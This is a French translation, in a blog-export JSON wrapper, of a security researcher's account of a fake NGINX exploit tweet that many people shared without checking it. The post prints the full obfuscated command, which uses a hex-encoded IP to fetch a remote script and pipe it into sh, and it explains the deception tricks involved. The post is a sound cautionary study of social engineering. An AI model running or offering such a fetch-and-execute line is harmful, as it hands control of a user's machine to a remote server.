{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Le succ\u00e8s de l'exp\u00e9rience sociale avec l'exploit factice pour nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Note de traduction.<\/b>: Auteur<\/a><\/noindex> L'article original, publi\u00e9 le 1er juin, a d\u00e9cid\u00e9 de mener une exp\u00e9rience aupr\u00e8s de ceux qui s'int\u00e9ressent \u00e0 la s\u00e9curit\u00e9 de l'information. Pour ce faire, il a pr\u00e9par\u00e9 un exploit factice pour une vuln\u00e9rabilit\u00e9 non r\u00e9v\u00e9l\u00e9e dans le serveur web et l'a publi\u00e9 sur son Twitter. Ses hypoth\u00e8ses \u2014 \u00eatre imm\u00e9diatement d\u00e9masqu\u00e9 par des sp\u00e9cialistes qui verraient l'\u00e9vident mensonge dans le code \u2014 ne se sont pas simplement r\u00e9v\u00e9l\u00e9es fausses\u2026 Elles ont d\u00e9pass\u00e9 toutes les attentes, dans le sens inverse : le tweet a re\u00e7u un \u00e9norme soutien de nombreux individus qui n'ont pas pris la peine de v\u00e9rifier son contenu.<\/i><\/p>\n

\"Le
\n
\nTL;DR : n'utilisez en aucun cas le piping de fichiers en sh ou bash. C'est un excellent moyen de perdre le contr\u00f4le de votre ordinateur.<\/b><\/a><\/noindex><\/p>\n

Je veux partager avec vous une petite histoire sur un PoC d'exploit humoristique qui a \u00e9t\u00e9 cr\u00e9\u00e9 le 31 mai. Il est apparu rapidement en r\u00e9ponse \u00e0 la nouvelle de Alisa Esage Shevchenko<\/a><\/noindex>, membre de Zero Day Initiative<\/a><\/noindex> (ZDI), annon\u00e7ant qu'une information sur une vuln\u00e9rabilit\u00e9 dans NGINX, menant \u00e0 une RCE (ex\u00e9cution de code \u00e0 distance), serait bient\u00f4t r\u00e9v\u00e9l\u00e9e. \u00c9tant donn\u00e9 que NGINX est \u00e0 la base de nombreux sites web, la nouvelle devait avoir un effet explosif. Cependant, en raison de retards dans le processus de \u00ab divulgation responsable \u00bb, les d\u00e9tails de ce qui s'est pass\u00e9 n'\u00e9taient pas connus \u2014 c'est la proc\u00e9dure standard du ZDI.<\/p>\n

\"Le
\nTweet<\/a><\/noindex> concernant la divulgation de la vuln\u00e9rabilit\u00e9 dans NGINX<\/i><\/p>\n

Ayant termin\u00e9 de travailler sur une nouvelle technique d'obfuscation dans curl, j'ai cit\u00e9 le tweet original et \u00ab l\u00e2ch\u00e9 un PoC fonctionnel \u00bb, compos\u00e9 d'une seule ligne de code, pr\u00e9tendument utilisant la vuln\u00e9rabilit\u00e9 d\u00e9couverte. Bien s\u00fbr, c'\u00e9tait une pur mensonge. Je pensais que j'allais \u00eatre d\u00e9masqu\u00e9 tout de suite, et que dans le meilleur des cas, je recevrais quelques retweets (et tant pis).<\/p>\n

\"Le
\nTweet<\/a><\/noindex> avec un exploit factice<\/i><\/p>\n

Cependant, je ne pouvais pas imaginer ce qui allait se passer ensuite. La popularit\u00e9 de mon tweet a grimp\u00e9 en fl\u00e8che. \u00c9tonnamment, jusqu'\u00e0 pr\u00e9sent (15h00 MSK le 1er juin), tr\u00e8s peu de gens ont r\u00e9alis\u00e9 que c'\u00e9tait une supercherie. Beaucoup le retweetent sans m\u00eame v\u00e9rifier (sans parler d\u2019admirer l'adorable ASCII art qu'il produit).<\/p>\n

\"Le
\nRegardez comme c'est beau !<\/i><\/p>\n

Bien que tous ces cycles et couleurs soient remarquables, il est \u00e9vident que pour les voir, les gens devaient ex\u00e9cuter le code sur leur machine. Heureusement, les navigateurs fonctionnent de la m\u00eame mani\u00e8re, et \u00e9tant donn\u00e9 que je n'ai pas du tout besoin de probl\u00e8mes l\u00e9gaux, le code int\u00e9gr\u00e9 dans mon site se contentait d'appels echo, sans essayer d'installer ou d'ex\u00e9cuter de code suppl\u00e9mentaire.<\/p>\n

Petite digression : netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, moi et d'autres membres de l'\u00e9quipe Thugcrowd<\/a><\/noindex> experimentons depuis un certain temps diff\u00e9rentes mani\u00e8res d'obfusquer des commandes curl, parce que c'est amusant\u2026 et nous sommes des geeks. netspooky et dnz ont d\u00e9couvert plusieurs nouvelles m\u00e9thodes qui me semblaient extr\u00eamement prometteuses. Je me suis joint au plaisir et j'ai essay\u00e9 d'ajouter des conversions d'IP d\u00e9cimales \u00e0 notre ensemble de tours. Il s'est av\u00e9r\u00e9 qu'il est \u00e9galement possible de convertir l'IP en format hexad\u00e9cimal. De plus, curl et la plupart des autres outils NIX acceptent volontiers les IP hexad\u00e9cimales ! Il suffisait donc de cr\u00e9er une ligne de commande convaincante et \u00e0 l'apparence s\u00e9curis\u00e9e. Au final, je me suis arr\u00eat\u00e9 sur celle-ci :<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
L'ing\u00e9nierie socio-\u00e9lectronique (S.E.E.) \u2014 plus qu'un simple phishing<\/h2>\n
\nLa s\u00e9curit\u00e9 et la familiarit\u00e9 ont \u00e9t\u00e9 au c\u0153ur de cette exp\u00e9rience. Je pense que c'est ce qui a conduit \u00e0 son succ\u00e8s. La ligne de commande impliquait clairement la s\u00e9curit\u00e9 en se r\u00e9f\u00e9rant \u00e0 \u00ab 127.0.0.1 \u00bb (le localhost bien connu). Le localhost est consid\u00e9r\u00e9 comme s\u00fbr, et les donn\u00e9es qu'il contient ne quittent jamais votre ordinateur.<\/p>\n
La familiarit\u00e9 \u00e9tait le deuxi\u00e8me \u00e9l\u00e9ment cl\u00e9 de l'exp\u00e9rience S.E.E. \u00c9tant donn\u00e9 que le public cible \u00e9tait principalement compos\u00e9 de personnes ayant des connaissances de base en s\u00e9curit\u00e9 informatique, il \u00e9tait important de cr\u00e9er un code dont les parties semblaient famili\u00e8res et donc s\u00fbres. L'emprunt d'\u00e9l\u00e9ments de concepts d'anciennes exploitations et leur combinaison de mani\u00e8re originale s'est av\u00e9r\u00e9 tr\u00e8s efficace.<\/p>\n
Voici une analyse d\u00e9taill\u00e9e de la ligne de code. Tout dans cette liste est d'ordre cosm\u00e9tique<\/b>, et il ne n\u00e9cessite pratiquement rien pour fonctionner r\u00e9ellement.<\/i><\/p>\n
Quels composants sont r\u00e9ellement n\u00e9cessaires ? Ce sont -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> et le serveur web lui-m\u00eame. Le serveur web ne contenait aucune instruction malveillante, il se contentait de transmettre des graphiques ASCII \u00e0 l'aide de commandes echo<\/code> dans le script contenu dans index.html<\/code>. Lorsque l'utilisateur saisissait une cha\u00eene avec |sh<\/code> au milieu, index.html<\/code> cela se chargeait et s'ex\u00e9cutait. Heureusement, les gardiens du serveur web n'avaient pas de mauvaises intentions.<\/p>\n